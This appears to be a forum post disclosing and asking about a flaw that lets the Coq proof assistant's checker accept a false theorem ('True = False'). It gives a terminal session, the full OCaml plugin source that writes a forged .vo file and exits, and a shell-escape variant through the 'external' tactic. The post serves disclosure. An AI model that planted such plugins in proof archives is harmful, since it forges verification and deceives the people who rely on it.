Technically, it is possible to prove anything in Coq proof assistant [1] (on at least Linux) due to a programming feature (or bug). This seems tractable when validating large proofs. Human analysis may catch this.
Question:
What are the consequences of technically proving anything in Coq?
More or less the question had in mind dishonest human provers presenting seemingly valid long computer readable proofs.
Later Coq developers replied `little hack'. I saw no official plans or replies of breaking the well formed proof (possibly because of backward compatibility being priority).
The basic technical details are: Hostile ocaml plugins (possibly disguised as proofs in FILE.v) can generate their own .vo proofs (of trivial statements), thus subverting coqchk, and don't giving a chance of "coqc" to even see the "anything proof". The plugin does this with exit(2) after writing .vo. This scenario seems interesting when validating large archives.
Here is a sample session, including links to full source code:
joro@j:/tmp/test1$ tar xvf ../proof.tar
fib5.v
bLOB
joro@j:/tmp/test1$ ls -l
total 16
-rwxr-xr-x 1 joro joro 10301 2011-05-03 12:53 bLOB
-rw-r--r-- 1 joro joro 125 2011-05-03 12:53 fib5.v
joro@j:/tmp/test1$ coqc fib5.v
Trivially true. coqchk may pass
joro@j:/tmp/test1$ ls -l
total 24
-rwxr-xr-x 1 joro joro 10301 2011-05-03 12:53 bLOB
-rw-r--r-- 1 joro joro 51 2011-05-03 12:55 fib5.glob
-rw-r--r-- 1 joro joro 125 2011-05-03 12:53 fib5.v
-rw------- 1 joro joro 812 2011-05-03 12:55 fib5.vo
joro@j:/tmp/test1$ coqchk fib5
Welcome to Chicken 8.2pl1 (February 2010)
[intern /tmp/test1/fib5.vo ... done]
...snip...
Checking library: fib5
*** vo structure validated ***
checking cst: <>.fib5.thm1
checking cst: <>.fib5.really
Modules were successfully checked
joro@j:/tmp/test1$cat fib5.v
Theorem thm1: True.
Proof.
auto.
Qed.
Declare ML Module "bLOB" .
Theorem really: True = False.
Proof.
intuition.
Qed.
#note: there is a zero byte at the end of "bLOB". in addition "bLOB" may be "aux.v"
joro@j:/tmp/test1$ coqchk -v
The Coq Proof Checker, version 8.2pl1 (February 2010)
compiled on Feb 27 2010 16:09:50
to compile the plugin:
ocamlopt -o bLOB -shared a.ml
the plugin writes valid but unrelated .vo proof and then does exit(2) to prevent coqc from analyzing the "anything proof".
a.ml is here.
tar with the proof is here
Possibly the most likely exploit scenario is:
Here is a proof of X consisting of about $10^5$ files. lemma2817.v is the plugin and it doesn't stop the final proof.
[1] http://coq.inria.fr/
(crossposted on M.SE)
UPDATE: a.ml (OCAML) here:
open Printf;;
(* #load "unix.cma";; *)
(* compile: ocamlopt -o bLOB -shared a.ml*)
open Unix;;
let x = 1 + 2 ;;
printf "Trivially true. coqchk may pass\n";;
let fd = Unix.openfile "./fib5.vo" [O_RDWR ; O_CREAT] 0o600 in
ftruncate fd 0 ;
write fd "\x00\x00\x20\x08\x84\x95\xa6\xbe\x00\x00\x02\xef\x00\x00\x00\xe6\x00\x00\x02\xbe\x00\x00\x02\x91\xd0\xa0\x24\x66\x69\x62\x35\x40\xc0\x04\x03\xd0\x90\xa2\xb0\x42\x24\x66\x69\x62\x35\x40\xa0\xa0\x24\x74\x68\x6d\x31\x90\xf0\x40\x90\x90\x90\x9c\xa0\xa0\xb0\x90\xa0\x25\x4c\x6f\x67\x69\x63\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x40\x24\x54\x72\x75\x65\x40\x41\x90\x9b\xa0\x04\x0c\x40\x90\x90\x40\x40\x41\x40\xa0\xa0\x26\x72\x65\x61\x6c\x6c\x79\x90\xf0\x40\x90\x90\x90\x9c\xa0\xa0\xb0\x90\xa0\x04\x19\xa0\x04\x18\xa0\x04\x17\x40\x40\x04\x16\x40\x41\x90\x9b\xa0\x04\x08\x40\x90\x90\x40\x40\x41\x40\x40\x40\x40\x40\x40\xa0\xa0\xa0\x2a\x4c\x6f\x67\x69\x63\x5f\x54\x79\x70\x65\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x5f\xb0\x16\xdd\x26\xc4\x94\xf9\x07\x89\x51\x91\x03\xf1\xd3\x06\xa0\xa0\xa0\x27\x50\x72\x65\x6c\x75\x64\x65\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x3f\x7c\xa2\x88\x4a\x72\x6c\x12\x85\x67\x03\x1c\x07\xf8\x24\x86\xa0\xa0\xa0\x27\x54\x61\x63\x74\x69\x63\x73\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x27\xf0\x1f\x3c\xa4\x0a\x05\x89\x0c\xe5\xc4\xb6\x96\xec\x49\x5a\xa0\xa0\xa0\x22\x57\x66\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\xb0\xd6\xf6\x26\x6c\xdd\x54\x3f\x23\x97\x33\x9e\xa3\xec\x62\xf1\xa0\xa0\xa0\x25\x50\x65\x61\x6e\x6f\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x07\x94\x7b\x89\xa1\x80\xa3\x50\xc0\x48\x2e\xb7\x0c\x6b\xf3\x1e\xa0\xa0\xa0\x26\x53\x70\x65\x63\x69\x66\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x0d\x59\x83\x8d\x26\x27\x56\x53\x31\x41\x6b\x00\x71\x08\x50\x6b\xa0\xa0\xa0\x29\x44\x61\x74\x61\x74\x79\x70\x65\x73\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\xb6\x9e\x13\xbf\x29\x8c\x28\xd9\xe1\x77\xc9\x93\xca\xdf\xae\xfb\xa0\xa0\xa0\x04\x62\xa0\x04\x61\xa0\x04\x60\x40\x30\x10\xcd\x50\xdb\x7b\x31\x4d\xb5\xd1\x18\x3f\x03\x19\xfa\xda\x1d\xa0\xa0\xa0\x29\x4e\x6f\x74\x61\x74\x69\x6f\x6e\x73\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\xf0\xb3\xe5\xfb\x02\x4b\x8f\x8c\xdb\x44\x61\x6d\x64\x44\x74\x0c\x40\x40\xb0\x04\x7f\xa0\xa0\x04\x7d\xa0\x28\x43\x4f\x4e\x53\x54\x41\x4e\x54\xb0\x90\x91\xa0\x94\x90\x41\x40\x40\x92\x40\xa0\xa0\x22\x5f\x37\xa0\x29\x49\x4d\x50\x4c\x49\x43\x49\x54\x53\xa0\xa0\xb0\x92\x04\x93\x40\x04\x8f\xe0\x40\x41\x40\x40\x40\x40\xa0\xa0\x91\x04\x06\x40\x40\xa0\xa0\x22\x5f\x38\xa0\x24\x48\x45\x41\x44\xa0\x91\x04\x0d\x90\x90\x04\x0f\xa0\xa0\x22\x5f\x39\xa0\x2f\x41\x52\x47\x55\x4d\x45\x4e\x54\x53\x2d\x53\x43\x4f\x50\x45\xb0\x40\x91\x04\x16\x40\xa0\xa0\x04\x8c\xa0\x04\x28\xb0\x04\x27\x40\x92\x40\xa0\xa0\x23\x5f\x31\x30\xa0\x04\x22\xa0\xa0\xb0\x04\x21\x40\x04\x96\x04\x20\xa0\xa0\x91\x04\x04\x40\x40\xa0\xa0\x23\x5f\x31\x31\xa0\x04\x1f\xa0\x91\x04\x0a\x90\x90\x04\x0c\xa0\xa0\x23\x5f\x31\x32\xa0\x04\x1e\xb0\x40\x91\x04\x12\x40\x40\x40\xa0\xa0\x04\x4f\x04\x49\xa0\xa0\x04\x57\x04\x54\xa0\xa0\x04\x62\x04\x5c\xa0\xa0\x04\x6d\x04\x67\xa0\xa0\x04\x78\x04\x72\xa0\xa0\x04\x83\x04\x7d\xa0\xa0\x04\x8e\x04\x88\xa0\xa0\x04\x99\x04\x93\xa0\xa0\x04\xa4\x04\x9e\x40\xa0\x04\x60\xa0\x04\x70\xa0\x04\x7a\xa0\x04\x84\xa0\x04\x8e\xa0\x04\x98\xa0\x04\xa2\xa0\x04\x6d\xa0\x04\xad\x40\x84\x95\xa6\xbe\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x04\x30\x92\x3c\xc2\xa2\xba\xb3\x7b\x2f\x1b\xe7\xea\x03\x44\x0e\x9f\x1b" 0 812 ;
exit 4 ;;
Update Possibly a more portable solution (Coq):
Theorem really: True = False.
Proof.
external "/bin/sh" "ESCAPE_SEQ; write_vo_proof; nicely_kill_coq ;" True.
(* this invokes /bin/sh *)
Qed.
tactic external
